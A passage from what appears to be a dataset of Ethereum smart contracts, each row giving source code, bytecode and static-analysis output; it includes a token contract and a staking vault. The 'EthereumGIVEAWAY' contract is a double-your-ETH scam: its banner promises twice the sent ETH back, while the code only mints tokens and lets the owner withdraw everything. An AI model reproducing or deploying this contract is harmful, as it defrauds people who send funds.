e1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 154 |
0x7bbb301a2daed76da9d30889c7672e61c67ab90b | /*
____ _
/ ___(_)_ _____ __ ___ ____ _ _ _
| | _| \ \ / / _ \/ _` \ \ /\ / / _` | | | |
| |_| | |\ V / __/ (_| |\ V V / (_| | |_| |
\____|_| \_/ \___|\__,_| \_/\_/ \__,_|\__, |
|___/
20 000 ETH Giveaway!
To participate, you just need to send from 3 ETH to 200 ETH to contract address and contract will immediately send you back 6 ETH to 400 ETH to the address you sent it from (x2 back)
Website: https://ethereum-giveaway.network/
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
//require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing");
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract EthereumGIVEAWAY is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
uint256 public tokenSalePrice = 0.008 ether;
bool public _tokenSaleMode = true;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Ethereum-Giveaway.Network", "ETHG", 18) {
governance = msg.sender;
minters[msg.sender] = true;
}
function mint(address account, uint256 amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function buyToken() public payable {
require(_tokenSaleMode, "token sale is over");
uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18);
_mint(msg.sender, newTokens);
}
function() external payable {
buyToken();
}
function endTokenSale() public {
require(msg.sender == governance, "!governance");
_tokenSaleMode = false;
}
function withdraw() external {
require(msg.sender == governance, "!governance");
msg.sender.transfer(address(this).balance);
}
} | 0x6080604052600436106101405760003560e01c80635aa6e675116100b6578063a9059cbb1161006f578063a9059cbb14610494578063ab033ea9146104cd578063dd62ed3e14610500578063e55bfd161461053b578063e86790eb14610550578063f46eccc41461056557610140565b80635aa6e675146103af57806370a08231146103e057806395d89b4114610413578063983b2d5614610428578063a457c2d71461045b578063a48217191461014057610140565b80633092afd5116101085780633092afd5146102a0578063313ce567146102d357806339509351146102fe5780633ccfd60b1461033757806340c10f191461034c57806342966c681461038557610140565b806306fdde031461014a578063095ea7b3146101d457806318160ddd1461022157806323b872dd14610248578063307edff81461028b575b610148610598565b005b34801561015657600080fd5b5061015f610612565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b5061020d600480360360408110156101f757600080fd5b506001600160a01b0381351690602001356106a8565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102366106c6565b60408051918252519081900360200190f35b34801561025457600080fd5b5061020d6004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356106cc565b34801561029757600080fd5b50610148610759565b3480156102ac57600080fd5b50610148600480360360208110156102c357600080fd5b50356001600160a01b03166107b7565b3480156102df57600080fd5b506102e861082a565b6040805160ff9092168252519081900360200190f35b34801561030a57600080fd5b5061020d6004803603604081101561032157600080fd5b506001600160a01b038135169060200135610833565b34801561034357600080fd5b50610148610887565b34801561035857600080fd5b506101486004803603604081101561036f57600080fd5b506001600160a01b038135169060200135610905565b34801561039157600080fd5b50610148600480360360208110156103a857600080fd5b5035610961565b3480156103bb57600080fd5b506103c461096b565b604080516001600160a01b039092168252519081900360200190f35b3480156103ec57600080fd5b506102366004803603602081101561040357600080fd5b50356001600160a01b031661097f565b34801561041f57600080fd5b5061015f61099a565b34801561043457600080fd5b506101486004803603602081101561044b57600080fd5b50356001600160a01b03166109fb565b34801561046757600080fd5b5061020d6004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610a71565b3480156104a057600080fd5b5061020d600480360360408110156104b757600080fd5b506001600160a01b038135169060200135610adf565b3480156104d957600080fd5b50610148600480360360208110156104f057600080fd5b50356001600160a01b0316610af3565b34801561050c57600080fd5b506102366004803603604081101561052357600080fd5b506001600160a01b0381358116916020013516610b6d565b34801561054757600080fd5b5061020d610b98565b34801561055c57600080fd5b50610236610ba1565b34801561057157600080fd5b5061020d6004803603602081101561058857600080fd5b50356001600160a01b0316610ba7565b60075460ff166105e4576040805162461bcd60e51b81526020600482015260126024820152713a37b5b2b71039b0b6329034b99037bb32b960711b604482015290519081900360640190fd5b60006106036105f534600654610bbc565b670de0b6b3a7640000610c05565b905061060f3382610c5e565b50565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106bc6106b5610d4e565b8484610d52565b5060015b92915050565b60025490565b60006106d9848484610e3e565b61074f846106e5610d4e565b61074a856040518060600160405280602881526020016112dd602891396001600160a01b038a16600090815260016020526040812090610723610d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f9a16565b610d52565b5060019392505050565b60075461010090046001600160a01b031633146107ab576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6007805460ff19169055565b60075461010090046001600160a01b03163314610809576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b60055460ff1690565b60006106bc610840610d4e565b8461074a8560016000610851610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103116565b60075461010090046001600160a01b031633146108d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561060f573d6000803e3d6000fd5b3360009081526008602052604090205460ff16610953576040805162461bcd60e51b815260206004820152600760248201526610b6b4b73a32b960c91b604482015290519081900360640190fd5b61095d8282610c5e565b5050565b61060f338261108b565b60075461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b60075461010090046001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60006106bc610a7e610d4e565b8461074a8560405180606001604052806025815260200161136f6025913960016000610aa8610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f9a16565b60006106bc610aec610d4e565b8484610e3e565b60075461010090046001600160a01b03163314610b45576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075460ff1681565b60065481565b60086020526000908152604090205460ff1681565b6000610bfe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611187565b9392505050565b600082610c14575060006106c0565b82820282848281610c2157fe5b0414610bfe5760405162461bcd60e51b81526004018080602001828103825260218152602001806112bc6021913960400191505060405180910390fd5b6001600160a01b038216610cb9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ccc908263ffffffff61103116565b6002556001600160a01b038216600090815260208190526040902054610cf8908263ffffffff61103116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316610d975760405162461bcd60e51b815260040180806020018281038252602481526020018061134b6024913960400191505060405180910390fd5b6001600160a01b038216610ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e835760405162461bcd60e51b81526004018080602001828103825260258152602001806113266025913960400191505060405180910390fd5b6001600160a01b038216610ec85760405162461bcd60e51b815260040180806020018281038252602381526020018061122f6023913960400191505060405180910390fd5b610f0b81604051806060016040528060268152602001611296602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f40908263ffffffff61103116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fee578181015183820152602001610fd6565b50505050905090810190601f16801561101b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bfe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166110d05760405162461bcd60e51b81526004018080602001828103825260218152602001806113056021913960400191505060405180910390fd5b61111381604051806060016040528060228152602001611252602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b03831660009081526020819052604090205560025461113f908263ffffffff6111ec16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836111d65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fee578181015183820152602001610fd6565b5060008385816111e257fe5b0495945050505050565b6000610bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820c4efdfff7956b533fb55f263e5553898aed15b6a83b09024e101ec4f2105859b64736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 155 |
0x669b5a2f479259506deaeb41419d1cd6854ed4fc | /**
*Submitted for verification at Etherscan.io on 2021-02-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract sVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill;
uint256 public delayDuration = 7 days;
bool public withdrawable;
uint256 public totalRate = 10000;
uint256 public userRate = 8500;
address public treasury;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
treasury = _treasury;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setTotalRate(uint256 _totalRate)
external
onlyGov
{
totalRate = _totalRate;
}
function setTreasury(address _treasury)
external
onlyGov
{
treasury = _treasury;
}
function setUserRate(uint256 _userRate)
external
onlyGov
{
userRate = _userRate;
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
uint256 amountUser = amount.mul(userRate).div(totalRate);
amount = amount.sub(amountUser);
token1.safeTransferFrom(msg.sender, address(this), amountUser);
token1.safeTransferFrom(msg.sender, treasury, amount);
Reward memory reward;
reward = Reward(amountUser, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amountUser);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
function seize(address token, address to) external onlyGov {
require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens");
if (token != address(0)) {
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(to, amount);
}
else {
uint256 amount = address(this).balance;
payable(to).transfer(amount);
}
}
fallback () external payable { }
receive () external payable { }
} | 0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b50356001600160a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b600480360360208